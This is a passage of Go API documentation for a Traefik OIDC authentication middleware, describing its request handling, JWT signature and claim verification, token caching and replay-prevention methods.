Parameters:
- token: The token (e.g., refresh token or access token) to revoke.
- tokenType: The type hint for the token being revoked (e.g., "refresh_token").
Returns:
- nil if the revocation request is successful (provider returns 200 OK).
- An error if the request fails or the provider returns a non-OK status.
func (*TraefikOidc) ServeHTTP ¶
func (t *TraefikOidc) ServeHTTP(rw http.ResponseWriter, req *http.Request)
ServeHTTP is the main entry point for incoming requests to the middleware. It orchestrates the OIDC authentication flow.
func (*TraefikOidc) VerifyJWTSignatureAndClaims ¶
func (t *TraefikOidc) VerifyJWTSignatureAndClaims(jwt *JWT, token string) error
VerifyJWTSignatureAndClaims implements the JWTVerifier interface. It verifies the signature of a parsed JWT against the provider's public keys obtained from the JWKS endpoint, and then validates the standard JWT claims (iss, aud, exp, iat, nbf, sub, jti replay).
Parameters:
- jwt: A pointer to the parsed JWT struct containing header and claims.
- token: The original raw token string (used for signature verification).
Returns:
- nil if both the signature and all standard claims are valid.
- An error describing the validation failure (e.g., failed to get JWKS, missing kid/alg, no matching key, signature verification failed, standard claim validation failed).
func (*TraefikOidc) VerifyToken ¶
func (t *TraefikOidc) VerifyToken(token string) error
VerifyToken implements the TokenVerifier interface. It performs a comprehensive validation of an ID token: 1. Checks the token cache; returns nil immediately if a valid cached entry exists. 2. Performs pre-verification checks (rate limiting, blacklist). 3. Parses the raw token string into a JWT struct. 4. Verifies the JWT signature and standard claims (iss, aud, exp, iat, nbf, sub) using VerifyJWTSignatureAndClaims. 5. If verification succeeds, caches the token claims until the token's expiration time. 6. If verification succeeds and the token has a JTI claim, adds the JTI to the blacklist cache to prevent replay attacks.
Parameters:
- token: The raw ID token string to verify.
Returns:
- nil if the token is valid according to all checks.
- An error describing the reason for validation failure (e.g., rate limit, blacklisted, parsing error, signature error, claim error).